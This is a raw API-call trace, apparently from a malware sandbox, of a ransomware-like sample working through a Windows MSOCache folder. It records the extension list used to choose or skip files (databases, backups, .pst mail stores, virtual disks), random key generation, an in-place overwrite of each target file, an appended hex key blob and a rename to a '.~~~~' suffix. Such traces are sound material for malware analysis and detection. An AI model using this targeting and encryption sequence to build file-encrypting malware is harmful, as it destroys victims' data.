	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".TXT") returned 0x0
	[0066.057] lstrlenW (lpString=".MDF") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".MDF") returned 0x0
	[0066.057] lstrlenW (lpString=".bdb") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".bdb") returned 0x0
	[0066.057] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e3f0
	[0066.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.057] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0066.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.059] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0066.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b04c8
	[0066.059] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18604895882) returned 1
	[0066.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9480e010, dwHighDateTime=0x1d60e1e)) 
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39e958
	[0066.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6730
	[0066.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e958 | out: hHeap=0x300000) returned 1
	[0066.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0066.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.060] GetLastError () returned 0x0
	[0066.060] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.061] SetLastError (dwErrCode=0x0) 
	[0066.061] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] GetLastError () returned 0x0
	[0066.062] SetLastError (dwErrCode=0x0) 
	[0066.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0066.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c2040
	[0066.063] ReadFile (in: hFile=0x128, lpBuffer=0x3c2040, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c2040*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.067] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.068] WriteFile (in: hFile=0x128, lpBuffer=0x3c2040*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c2040*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c2040 | out: hHeap=0x300000) returned 1
	[0066.069] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.069] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.071] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.071] CloseHandle (hObject=0x128) returned 1
	[0066.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0066.416] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.~~~~")) returned 1
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0066.421] GetLastError () returned 0x0
	[0066.421] SetLastError (dwErrCode=0x0) 
	[0066.421] GetLastError () returned 0x0
	[0066.421] SetLastError (dwErrCode=0x0) 
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0066.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b04c8 | out: hHeap=0x300000) returned 1
	[0066.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3f0 | out: hHeap=0x300000) returned 1
	[0066.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0066.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0066.422] RtlWakeConditionVariable () returned 0x365f70
	[0066.422] GetCurrentThreadId () returned 0xaf0
	[0066.422] GetCurrentThreadId () returned 0xaf0
	[0066.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0066.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa5e0 | out: hHeap=0x300000) returned 1
	[0066.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0066.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0066.422] lstrlenW (lpString=".scr") returned 4
	[0066.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".scr") returned 0x0
	[0066.422] lstrlenW (lpString=".cmd") returned 4
	[0066.422] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".cmd") returned 0x0
	[0066.423] lstrlenW (lpString=".dll") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dll") returned 0x0
	[0066.423] lstrlenW (lpString=".bat") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".bat") returned 0x0
	[0066.423] lstrlenW (lpString=".cpl") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".cpl") returned 0x0
	[0066.423] lstrlenW (lpString=".sys") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".sys") returned 0x0
	[0066.423] lstrlenW (lpString=".msc") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".msc") returned 0x0
	[0066.423] lstrlenW (lpString=".com") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".com") returned 0x0
	[0066.423] lstrlenW (lpString=".lnk") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".lnk") returned 0x0
	[0066.423] lstrlenW (lpString=".msp") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".msp") returned 0x0
	[0066.423] lstrlenW (lpString=".pif") returned 4
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".pif") returned 0x0
	[0066.423] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.423] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0066.423] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0066.424] lstrlenW (lpString=".sqb") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".sqb") returned 0x0
	[0066.424] lstrlenW (lpString=".ost") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".ost") returned 0x0
	[0066.424] lstrlenW (lpString=".txt") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".txt") returned 0x0
	[0066.424] lstrlenW (lpString=".mdt") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".mdt") returned 0x0
	[0066.424] lstrlenW (lpString=".BDB") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".BDB") returned 0x0
	[0066.424] lstrlenW (lpString=".eql") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".eql") returned 0x0
	[0066.424] lstrlenW (lpString=".DBF") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DBF") returned 0x0
	[0066.424] lstrlenW (lpString=".EQL") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".EQL") returned 0x0
	[0066.424] lstrlenW (lpString=".FDB") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".FDB") returned 0x0
	[0066.424] lstrlenW (lpString=".EDB") returned 4
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".EDB") returned 0x0
	[0066.424] lstrlenW (lpString=".DACPAC") returned 7
	[0066.424] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0066.425] lstrlenW (lpString=".VHD") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".VHD") returned 0x0
	[0066.425] lstrlenW (lpString=".DBV") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DBV") returned 0x0
	[0066.425] lstrlenW (lpString=".dacpac") returned 7
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dacpac") returned 0x0
	[0066.425] lstrlenW (lpString=".sdf") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".sdf") returned 0x0
	[0066.425] lstrlenW (lpString=".accdb") returned 6
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".accdb") returned 0x0
	[0066.425] lstrlenW (lpString=".DBX") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DBX") returned 0x0
	[0066.425] lstrlenW (lpString=".MDT") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".MDT") returned 0x0
	[0066.425] lstrlenW (lpString=".SQB") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".SQB") returned 0x0
	[0066.425] lstrlenW (lpString=".vhd") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".vhd") returned 0x0
	[0066.425] lstrlenW (lpString=".bac") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".bac") returned 0x0
	[0066.425] lstrlenW (lpString=".mdf") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".mdf") returned 0x0
	[0066.425] lstrlenW (lpString=".BAK") returned 4
	[0066.425] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".BAK") returned 0x0
	[0066.425] lstrlenW (lpString=".BAC") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".BAC") returned 0x0
	[0066.426] lstrlenW (lpString=".dbs") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dbs") returned 0x0
	[0066.426] lstrlenW (lpString=".vhdx") returned 5
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".vhdx") returned 0x0
	[0066.426] lstrlenW (lpString=".NDF") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".NDF") returned 0x0
	[0066.426] lstrlenW (lpString=".dat") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dat") returned 0x0
	[0066.426] lstrlenW (lpString=".DBS") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DBS") returned 0x0
	[0066.426] lstrlenW (lpString=".CKP") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".CKP") returned 0x0
	[0066.426] lstrlenW (lpString=".edb") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".edb") returned 0x0
	[0066.426] lstrlenW (lpString=".PST") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".PST") returned 0x0
	[0066.426] lstrlenW (lpString=".dbf") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dbf") returned 0x0
	[0066.426] lstrlenW (lpString=".SQL") returned 4
	[0066.426] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".SQL") returned 0x0
	[0066.427] lstrlenW (lpString=".pst") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".pst") returned 0x0
	[0066.427] lstrlenW (lpString=".dbv") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dbv") returned 0x0
	[0066.427] lstrlenW (lpString=".SDF") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".SDF") returned 0x0
	[0066.427] lstrlenW (lpString=".dtxs") returned 5
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dtxs") returned 0x0
	[0066.427] lstrlenW (lpString=".db3") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".db3") returned 0x0
	[0066.427] lstrlenW (lpString=".OST") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".OST") returned 0x0
	[0066.427] lstrlenW (lpString=".dbx") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dbx") returned 0x0
	[0066.427] lstrlenW (lpString=".DB3") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DB3") returned 0x0
	[0066.427] lstrlenW (lpString=".DAT") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DAT") returned 0x0
	[0066.427] lstrlenW (lpString=".VHDX") returned 5
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".VHDX") returned 0x0
	[0066.427] lstrlenW (lpString=".ndf") returned 4
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".ndf") returned 0x0
	[0066.427] lstrlenW (lpString=".DB") returned 3
	[0066.427] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DB") returned 0x0
	[0066.428] lstrlenW (lpString=".sql") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".sql") returned 0x0
	[0066.428] lstrlenW (lpString=".MYD") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".MYD") returned 0x0
	[0066.428] lstrlenW (lpString=".DBT") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DBT") returned 0x0
	[0066.428] lstrlenW (lpString=".ACCDB") returned 6
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0066.428] lstrlenW (lpString=".fdb") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".fdb") returned 0x0
	[0066.428] lstrlenW (lpString=".bak") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".bak") returned 0x0
	[0066.428] lstrlenW (lpString=".myd") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".myd") returned 0x0
	[0066.428] lstrlenW (lpString=".DTXS") returned 5
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".DTXS") returned 0x0
	[0066.428] lstrlenW (lpString=".ckp") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".ckp") returned 0x0
	[0066.428] lstrlenW (lpString=".dbt") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".dbt") returned 0x0
	[0066.428] lstrlenW (lpString=".db") returned 3
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".db") returned 0x0
	[0066.428] lstrlenW (lpString=".TXT") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".TXT") returned 0x0
	[0066.428] lstrlenW (lpString=".MDF") returned 4
	[0066.428] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpSrch=".MDF") returned 0x0
	[0066.428] lstrlenW (lpString=".bdb") returned 4
